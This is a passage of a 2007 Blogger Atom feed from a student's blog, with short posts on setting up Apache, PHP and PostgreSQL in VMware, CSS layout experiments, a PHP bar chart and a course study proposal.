/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/7670457368301580652/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=7670457368301580652' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7670457368301580652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7670457368301580652'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/04/make-ca-for-my-own.html' title='Make a CA for My Own'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-9142573942024003819</id><published>2007-03-27T09:53:00.000+10:00</published><updated>2007-03-28T10:01:28.539+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DMT Project'/><title type='text'>My Domain</title><content type='html'>My new domain:  www.cbdmall.com&lt;br /&gt;Right now, I direct it to my home ip, since I still cannot find a satisfactory host for my project. Maybe I should foward it to my VMWare if possible, that will make things much easier.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-9142573942024003819?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/9142573942024003819/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=9142573942024003819' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/9142573942024003819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/9142573942024003819'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/03/my-domain.html' title='My Domain'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-8375909214215734134</id><published>2007-03-26T00:07:00.001+10:00</published><updated>2007-03-26T01:04:02.315+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Bar Chart in PHP</title><content type='html'>&lt;blockquote&gt;&lt;p&gt;I have learned a good example to display a bar chart in PHP, and I added a loop&lt;br /&gt;statement, so the length of the bar can fit for the width of the browser.&lt;/p&gt;&lt;p&gt;Since the blog will filt a lot of html and PHP tags, I will pulish the final result in my online host. The main idea is to set the a table's cellpadding&gt;=2, and then set bgcolor's length flexible to the cell in which a bar is displayed. In other word, the bgcolor length is directly propotional to the amount we defined.&lt;/p&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-8375909214215734134?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/8375909214215734134/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=8375909214215734134' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/8375909214215734134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/8375909214215734134'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/03/bar-chart-in-php.html' title='Bar Chart in PHP'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-5888856233347442018</id><published>2007-03-26T00:07:00.000+10:00</published><updated>2007-06-13T09:37:00.230+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>Interesting css error with firefox</title><content type='html'>when make the body tag "float", everything mass up......  That's true&lt;br /&gt;body cl*ss="interesting"&lt;br /&gt;&lt;br /&gt;in css file:&lt;br /&gt;&lt;br /&gt;interesting {&lt;br /&gt;float: left;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;guess what, the whole page's layout will be changed, especially padding and margin.... &lt;br /&gt;I have discussed this with Tim, but still don't know exactly the reason.&lt;br /&gt;&lt;br /&gt;I guess this is a kind of bug in firefox when it tries to compile FLOAT tag&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-5888856233347442018?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/5888856233347442018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=5888856233347442018' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/5888856233347442018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/5888856233347442018'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/03/interesting-css-error-with-firefox.html' title='Interesting css error with firefox'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-7281936118183595925</id><published>2007-03-25T18:10:00.002+10:00</published><updated>2007-03-29T11:38:54.127+10:00</updated><title type='text'>PHP+PostgreSQL set up</title><content type='html'>I spend a whole weekend to work on LAPP. Just a little different from the popular term of "LAMP"(Linux+Apache+MySQL+PHP), 'cause mine is Linux+Apache+PHP+PostgreSQL :p&lt;br /&gt;&lt;br /&gt;Here is the my install log for the whole staff (I set up a server in VMware, so I can check my results and fix bugs before submitting to a public server).&lt;br /&gt;&lt;br /&gt;1. Download Ubuntu&lt;br /&gt;2. Create a new ubuntu operation system in VMware, boot from Ubuntu6 iso file&lt;br /&gt;3. After the system is done, use apt-get command or package management to install Apache2, PHP5, PostgreSQL8. The following additional modulates should be included:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;OpenSSL: a SSL server enable me to login to the system from remote&lt;/li&gt;&lt;li&gt;install modulates: php5-mhash, php5-gd, php5-curl, php5-mhash, php5-pgsql, php5-xslt.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;4. Configure PostgreSQL setting:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;$useradd postgres &lt;/li&gt;&lt;li&gt;$chown -R postgres:postgres /etc/postgresql &lt;/li&gt;&lt;li&gt;$ sudo nano /etc/postgresql/8.1/main/pg_hba #add 127.0.0.1 to trust# &lt;/li&gt;&lt;li&gt;$ sudo -u postgres createuser -P #create the account and input name, passwd.... #&lt;/li&gt;&lt;li&gt;$ sudo -u postgres createdb test #create a db named test #&lt;/li&gt;&lt;li&gt;$ psql -U [username] test #log into test db if everything goes right#&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;5.Networking config&lt;/p&gt;&lt;p&gt;6 files are involved:&lt;/p&gt;&lt;p&gt;· /etc/hosts （signed computer name to IP address）&lt;br /&gt;· /etc/networks （associate domain with IP address）&lt;br /&gt;· /etc/sysconfig/network （open or close network, config computer name and gateway)&lt;br /&gt;· /etc/resolv.conf （add DNS server IP)&lt;br /&gt;· /etc/rc.d/rc3.d/S10network （as a wizard to activate the ethnet）&lt;br /&gt;· /etc/sysconfig/network-scripts &lt;/p&gt;&lt;p&gt;Configure IP, directly edit /etc/network/interfaces，static IP can be edited as following：auto lo eth0iface lo inet loopbackiface eth0 inet staticaddress 192.168.2.2 netmask 255.255.255.0 broadcast 192.168.2.255 gateway 192.168.2.1&lt;br /&gt;&lt;br /&gt;If assigned by DHCP, edit as: auto eth0iface eth0 inet &lt;/p&gt;&lt;p&gt;Command line is a better way:&lt;/p&gt;&lt;p&gt;ifconfig -a # display the network confi# ifconfig eth0 inet down #stop network # eth0ifconfig eth0 inet up 192.168.1.2 \netmask 255.255.255.0 broadcast 192.168.1.255 #config IP address netmask # add default gw 192.168.1.1 eth0 #gateway config#&lt;/p&gt;&lt;p&gt;When done, restart the networking: /etc/init.d/networking restart&lt;/p&gt;&lt;p&gt;6. Test web server&lt;/p&gt;&lt;p&gt;Change to the directory /var/www/ create a file, named info.php, add to it. Type the URL : 127.0.0.1/info.php in a browser, php config info will be displayed.&lt;/p&gt;&lt;p&gt;Create a file named pg_connect.php, add text:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;//connect pgsql test//&lt;/p&gt;&lt;p&gt;$linkid = @pg_pconnect("host=localhost dbname=test user=postgre password=secret")&lt;/p&gt;&lt;p&gt;or die("Could not connect to the PostgreSQL server.");&lt;/p&gt;&lt;p&gt;&lt;br /&gt;$result= @pg_query("SELECT* FROM mytable") or die("The query failed");&lt;/p&gt;&lt;p&gt;//out put the result//&lt;/p&gt;&lt;p&gt;while($row=pg_fetch_object($result)) echo "No.$row-&gt;id is ($row-&gt;name)&lt;br /&gt;";&lt;/p&gt;&lt;p&gt;?&gt; # this will check PHP+PostgreSQL successuful or not #&lt;/p&gt;&lt;br /&gt;&lt;p&gt;7. Configure virtual host for different domain&lt;/p&gt;&lt;span class="postbody"&gt;/etc/apache2/sites-available/default  is the default rule for domain root.&lt;br /&gt;Add my own default domain config:&lt;br /&gt;DomainName www.mydomain.com&lt;br /&gt;DomainAdmin webmaster@mydomain.com&lt;br /&gt;DomainRoot  /anywhere I want/&lt;br /&gt;&lt;br /&gt;If want to run more than one domain, I have do create a new file in the fold:&lt;br /&gt;nano ./sites-available/newdomain&lt;br /&gt;in the file, add another rules:&lt;br /&gt;&lt;/span&gt; &lt;virtualhost&gt;&lt;br /&gt;    ServerName www.newdomain.com&lt;br /&gt;    ServerAdmin  &lt;span style="text-decoration: underline;"&gt;webmaster@newdomail.com&lt;/span&gt;&lt;br /&gt;    DocumentRoot "/another location you want/"&lt;br /&gt;    ErrorLog "/var/log/apache2/***_errors.log"&lt;br /&gt;    CustomLog "/var/log/apache2/***_accesses.log" common    &lt;br /&gt;&lt;/virtualhost&gt;&lt;br /&gt;&lt;br /&gt;When separate every domain config rule into a single file, we can just control the host very easily:&lt;br /&gt;&lt;span class="postbody"&gt; sudo a2ensite [rule.filename] to enable a domain&lt;br /&gt;sudo a2 dissite [rule.filename] to disable a domain&lt;br /&gt;don't forget to restart apache for new rules:        &lt;/span&gt; sudo /etc/init.d/apache2 restart&lt;br /&gt;&lt;span class="postbody"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-7281936118183595925?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/7281936118183595925/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=7281936118183595925' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7281936118183595925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7281936118183595925'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/03/phppostgresql-set-up.html' title='PHP+PostgreSQL set up'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-4762475767498834493</id><published>2007-03-21T11:16:00.000+11:00</published><updated>2007-03-21T12:03:41.212+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>Power of CSS 2</title><content type='html'>&lt;table  style="width: 667px; height: 480px; color: rgb(0, 0, 153);font-family:times new roman;" border="0" cellpadding="0" cellspacing="0"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td valign="top"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="ch02lev1sec3"&gt;&lt;/a&gt;&lt;/span&gt;&lt;pre&gt;&lt;span style="font-size:100%;"&gt;#nav {&lt;br /&gt;&lt;/span&gt;&lt;span class="docEmphStrong"  style="font-size:100%;"&gt;float: left;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;width: 100%;&lt;br /&gt;margin: 0;&lt;br /&gt;padding: 10px 0 0 46px;&lt;br /&gt;list-style: none;&lt;br /&gt;background: #FFCB2D;&lt;br /&gt;}&lt;br /&gt;#nav li {&lt;br /&gt;float: left;&lt;br /&gt;margin: 0;&lt;br /&gt;padding: 0;&lt;br /&gt;font-family: "Lucida Grande", sans-serif;&lt;br /&gt;font-size: 55%;&lt;br /&gt;}&lt;br /&gt;#nav a {&lt;br /&gt;float: left;&lt;br /&gt;display: block;&lt;br /&gt;margin: 0 1px 0 0;&lt;br /&gt;padding: 4px 8px;&lt;br /&gt;color: #333;&lt;br /&gt;text-decoration: none;&lt;br /&gt;border: 1px solid #9B8748;&lt;br /&gt;border-bottom: none;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;This is a good example of combining usage of background and padding in "Bulletproof&lt;br /&gt;Design". The author's method have avoided using big pictures, which will enhance the&lt;br /&gt;page's scalability and flexibility.&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-4762475767498834493?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/4762475767498834493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/4762475767498834493'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/03/power-of-css-2_21.html' title='Power of CSS 2'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-525694524201195913</id><published>2007-03-20T17:53:00.000+11:00</published><updated>2007-03-21T12:04:23.474+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><category scheme='http://www.blogger.com/atom/ns#' term='DMT Project'/><title type='text'>Draft of Study Proposal</title><content type='html'>http://students.mim.iml.uts.edu.au/users/10530982/test.html&lt;br /&gt;&lt;br /&gt;I also use the page as CSS practice field. So the style effect may change sometimes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-525694524201195913?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/525694524201195913/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=525694524201195913' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/525694524201195913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/525694524201195913'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/03/draft-of-study-proposal.html' title='Draft of Study Proposal'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-7152675208724560605</id><published>2007-03-19T23:58:00.000+11:00</published><updated>2007-03-20T00:59:04.844+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>Power of  CSS(1)</title><content type='html'>I used to create some simple web page by Macromedia's Dreamweaver. This powerful tool generates various CSS code with several simple clicks, so I never try to learn style design myself. But when I got this blog, I was desperate by the templates provided--the color, the frame width, the picture size definitions. Time to change this, also time to learn...  Several days later, it looks like what you have seen now. I have adjusted every detail I didn't like... Also, some advanced skills can be learned in book "&lt;span style="font-size:85%;"&gt;Bulletproof Web Design: Improving  flexibility and protecting against worst-case scenarios with XHTML and CSS".&lt;span style="font-weight: bold;font-family:times new roman;" &gt;  &lt;/span&gt;&lt;span style=";font-family:georgia;font-size:100%;"  &gt;It contains 10 cases about CSS application. I benefit a lot from the first three cases. Although I have not read though the book, but I wanna created a page using the methods it mentioned.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.simplebits.com/img/bpwd-125.gif"&gt;&lt;img style="cursor: pointer; width: 180px;" src="http://www.simplebits.com/img/bpwd-125.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Combining use of Div Tags, Float, Padding and Margin, sometimes, would be an alternative to complex tables and forms that traditional web page design involved. But tables are still important  elements in web pages, and some CSS on table would be useless if we overlook some pre-defined rules. Still, some seldom used tags in table do have their special features:&lt;br /&gt;http://www.w3.org/TR/html401/struct/tables.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-7152675208724560605?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7152675208724560605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7152675208724560605'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/03/power-of-css1.html' title='Power of  CSS(1)'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-2852241523833227359</id><published>2007-03-11T22:16:00.000+11:00</published><updated>2007-03-21T12:05:00.875+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DMT Project'/><title type='text'>Draft of Draft for DMT Learning Proposal</title><content type='html'>I have spend a whole day to check my documents and figure out what I should learn in DMT course. I have great interest in e-commerce, which need DMT things a lot.&lt;br /&gt;&lt;br /&gt;In fact, I should learn a lot about DMT, not just for the course, but just for my future. XHTML, PHP, SQL, Java Script, XML,... too many programming things I should learn. I used to like to learn from delicately planned lectures. In Tim's class, I smelt sth. different: I have to plan for myself.&lt;br /&gt;&lt;br /&gt;I have read some books about HTML and CSS, but can hardly remember the tags' meaning. I have learned sth about PHP, but it is superficial, and I even didn't try to set a dynamic website for my own. I know sth about SQL, XML... but never use them in any on-hand practice. Finally, I got a picture of myself: what I need is to do some work really through my hands. And I aim to get familiar the whole development process from the very beginning.&lt;br /&gt;&lt;br /&gt;It's said that PostgreSQL has all the all the modern db features. So I wanna have a try on it. Then I choose Apache+PHP+PostgreSQL on Linux as my publishing platform. I have collected some highly reccommended books/ebooks:&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Html,.Xhtml.And.Css.Bible &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Apress - Beginning PHP and PostgreSQL 8 From Novice to Professional&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Apress - Pro PHP XML and Web Services&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;OReilly.PHP.Hacks.Tips.and.Tools.For.Creating.Dynamic.Websites&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Going through these books won't be my aim. I just will do sth myself with these books. Regarding to my interest in e-commerce, I'd like to design a e-commerce web site realizing catalog and transation data retrieved from database.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www2.blogger.com/bookcover4"&gt;&lt;img style="width: 20%;" alt="bc4" src="http://media.wiley.com/product_data/coverImage300/94/07645573/0764557394.jpg" border="0" /&gt;&lt;/a&gt;&lt;a href="http://www2.blogger.com/bookcover1"&gt;&lt;img style="width: 25%;" alt="bc1" src="http://ec1.images-amazon.com/images/P/1590595475.01._SS500_SCLZZZZZZZ_.jpg" border="0" /&gt;&lt;/a&gt;&lt;a href="http://www2.blogger.com/bookcover2"&gt;&lt;img style="width: 25%;" alt="bc2" src="http://ec1.images-amazon.com/images/P/1590596331.01._SS500_SCLZZZZZZZ_.jpg" syle="width: 25%; sursor: hand" border="0" width="300" /&gt;&lt;/a&gt;&lt;a href="http://www2.blogger.com/bookcover3"&gt;&lt;img style="width: 25%;" alt="bc3" src="http://ec2.images-amazon.com/images/P/0596101392.01._SS500_SCLZZZZZZZ_.jpg" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-2852241523833227359?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/2852241523833227359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=2852241523833227359' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/2852241523833227359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/2852241523833227359'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/03/draft-of-draft-for-dmt-learning.html' title='Draft of Draft for DMT Learning Proposal'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-4466359676906686546</id><published>2007-03-08T01:12:00.000+11:00</published><updated>2007-03-08T02:10:16.961+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='menu bar'/><category scheme='http://www.blogger.com/atom/ns#' term='JSP'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>JSP included by PHP</title><content type='html'>First, PHP manual should be downloaded from: &lt;a href="http://de.php.net/download-docs.php"&gt;http://de.php.net/download-docs.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This official handbook is for all the people who want to learn php, from beginner to experienced PHP programmer. It covers everything!!&lt;br /&gt;&lt;br /&gt;Here comes what I want to show you:&lt;br /&gt;&lt;br /&gt;Funtionally, PHP is much like JSP.  And JS can be included in a PHP file very easily. If you wanna create sth shining and simple, to add some little JS into you php page is a very good choice.&lt;br /&gt;&lt;br /&gt;For example, I can simplily create a navigation menu by PHP maybe like this:&lt;br /&gt;&lt;a href="http://karlcore.com/programming/dynav/menu.phps"&gt;http://karlcore.com/programming/dynav/menu.phps&lt;/a&gt;&lt;br /&gt;this is a good example to use an array to list everything we want to see. But don't you think it is too stiff or mechanical?&lt;br /&gt;&lt;br /&gt;Here is a good way to create a drop-down menu with Java Script:&lt;br /&gt;&lt;a href="http://www.thesitewizard.com/archive/navigation.shtml"&gt;http://www.thesitewizard.com/archive/navigation.shtml&lt;/a&gt;&lt;br /&gt;Let the navigation menu stay in good structure and make it a little bit cool!  This simple Java Script can manage that.&lt;br /&gt;&lt;br /&gt;Here is one more step before you can see your  improved menu (in fact, it is also mentioned in the article), you need your PHP file to get into the Java Script and use it! Just simply use a 'include' function in PHP. JS will be parsed rightly into your php environment. Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-4466359676906686546?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/4466359676906686546/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=4466359676906686546' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/4466359676906686546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/4466359676906686546'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/03/jsp-included-by-php.html' title='JSP included by PHP'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-863892434153037956</id><published>2007-02-28T09:33:00.000+11:00</published><updated>2007-02-28T09:38:29.826+11:00</updated><title type='text'>First page</title><content type='html'>Leave my foot print here!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-863892434153037956?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/863892434153037956/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=863892434153037956' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/863892434153037956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/863892434153037956'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/02/first-page.html' title='First page'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
